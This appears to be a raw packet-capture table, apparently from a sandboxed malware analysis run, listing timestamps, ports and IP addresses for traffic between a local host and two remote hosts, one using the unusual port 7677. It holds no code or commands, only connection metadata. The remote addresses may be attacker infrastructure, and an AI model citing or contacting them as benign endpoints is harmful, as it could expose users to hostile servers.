Dec 22, 2024 09:29:08.065048933 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.065073967 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.065104008 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.109751940 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:08.122195959 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.122293949 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.122420073 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.122431040 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.122474909 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.166079044 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.166138887 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.166153908 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.166162968 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.166215897 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.166457891 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.176881075 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:08.194271088 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.194339991 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.194346905 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.194428921 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:08.194478989 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.194696903 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:29:08.194713116 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:29:09.517760992 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:09.518153906 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:09.591649055 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:09.591979027 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:09.638093948 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:09.638144016 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:09.638171911 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:09.711817980 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:09.711848021 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:09.711882114 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.058516026 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.058557034 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.058593035 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.058710098 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.058731079 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.058850050 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.059269905 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.059339046 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.059376001 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.059390068 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.059513092 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.059554100 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.062045097 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.062314034 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.062365055 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.064601898 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.112807989 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.133765936 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.133800983 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.133836031 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.133852005 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.133929968 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.134073019 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.134615898 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.134649038 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.134691000 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.134696960 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.134725094 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.134776115 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.136251926 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.136356115 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.136400938 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.143220901 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.178519964 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.178656101 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.178710938 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.182777882 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.190946102 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.251975060 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.253596067 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.253695965 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.253751993 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.257441044 CET	49738	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.283596039 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.283651114 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.283699036 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.287776947 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.287811995 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.287858009 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.296247005 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.296349049 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.296401024 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.304570913 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.304682016 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.304734945 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.313075066 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.313174009 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.313230038 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.321371078 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.321512938 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.321566105 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.329160929 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.329288960 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.329344988 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.336802006 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.336965084 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.337018013 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.344336033 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.344388008 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.344432116 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.352037907 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.352108955 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.352157116 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.359674931 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.359796047 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.359839916 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.360809088 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.360929012 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.360977888 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.365040064 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.365242958 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.365299940 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.367350101 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.373528004 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.373645067 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.373716116 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.377150059 CET	7677	49738	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.377235889 CET	49738	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.381776094 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.381918907 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.381974936 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.390367985 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.390423059 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.390484095 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.398062944 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.398153067 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.398221016 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.405616045 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.405677080 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.405729055 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.408092022 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.413149118 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.413203955 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.413249969 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.414747000 CET	49738	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.420728922 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.420819998 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.420867920 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.428296089 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.428461075 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.428508043 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.435898066 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.436012983 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.436058998 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.443538904 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.486219883 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.509232998 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.509387016 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.509439945 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.511833906 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.512028933 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.512079000 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.517501116 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.517606020 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.517654896 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.522902966 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.523159981 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.523206949 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.528557062 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.528593063 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.528656960 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.533996105 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.534173965 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.534209967 CET	7677	49738	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.534215927 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.539549112 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.539602995 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.539649010 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.545053959 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.545219898 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.545274973 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.550604105 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.550709963 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.550760031 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.556113958 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.556243896 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.556289911 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.561707973 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.561763048 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.561810970 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.567198992 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.567296982 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.567339897 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.572773933 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.572896004 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.572942019 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.578447104 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.578483105 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.578531027 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.583949089 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.583983898 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.584033966 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.588001966 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.588120937 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.588171005 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.589324951 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.589488983 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.589534044 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.590909004 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.591974974 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.592021942 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.592093945 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.594849110 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.595021009 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.595068932 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.597831964 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.597866058 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.597882032 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.600356102 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.600543022 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.600584984 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.603646040 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.603692055 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.603744030 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.605926037 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.606060028 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.606107950 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.609482050 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.609520912 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.609594107 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.611427069 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.611522913 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.611567974 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.615284920 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.615343094 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.615353107 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.617011070 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.617060900 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.617121935 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.621053934 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.621115923 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.621170998 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.622540951 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.622677088 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.622724056 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.626955032 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.627007961 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.627079964 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.628006935 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.632725000 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.632777929 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.632822037 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.638523102 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.638592958 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.638617992 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.644375086 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.644438028 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.644483089 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.650449991 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.650501966 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.650511980 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.656023979 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.656084061 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.656169891 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.661907911 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.661947966 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.661962032 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.667671919 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.667717934 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.667767048 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.673715115 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.674041986 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.674091101 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.674185991 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.679244041 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.679289103 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.679336071 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.685251951 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.685307980 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.685537100 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.690828085 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.690884113 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.691148043 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.696788073 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.696822882 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.696842909 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.702833891 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.702893019 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.702927113 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.708266973 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.708318949 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.708442926 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.714286089 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.714344025 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.734431982 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.734569073 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.734730005 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.736622095 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.737432957 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.737492085 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.737493992 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.741614103 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.741677046 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.741776943 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.745970964 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.746047020 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.746072054 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.750143051 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.750210047 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.750293016 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.754319906 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.754395008 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.754414082 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.758455992 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.758517981 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.758593082 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.762734890 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.762789965 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.762872934 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.766501904 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.766557932 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.766690969 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.770576000 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.770644903 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.770688057 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.774617910 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.774691105 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.774816990 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.778702021 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.778760910 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.778851986 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.782752037 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.782784939 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.782804966 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.786992073 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.787040949 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.787122011 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.790921926 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.790956020 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.790985107 CET	49736	7677	192.168.2.4	45.204.213.99
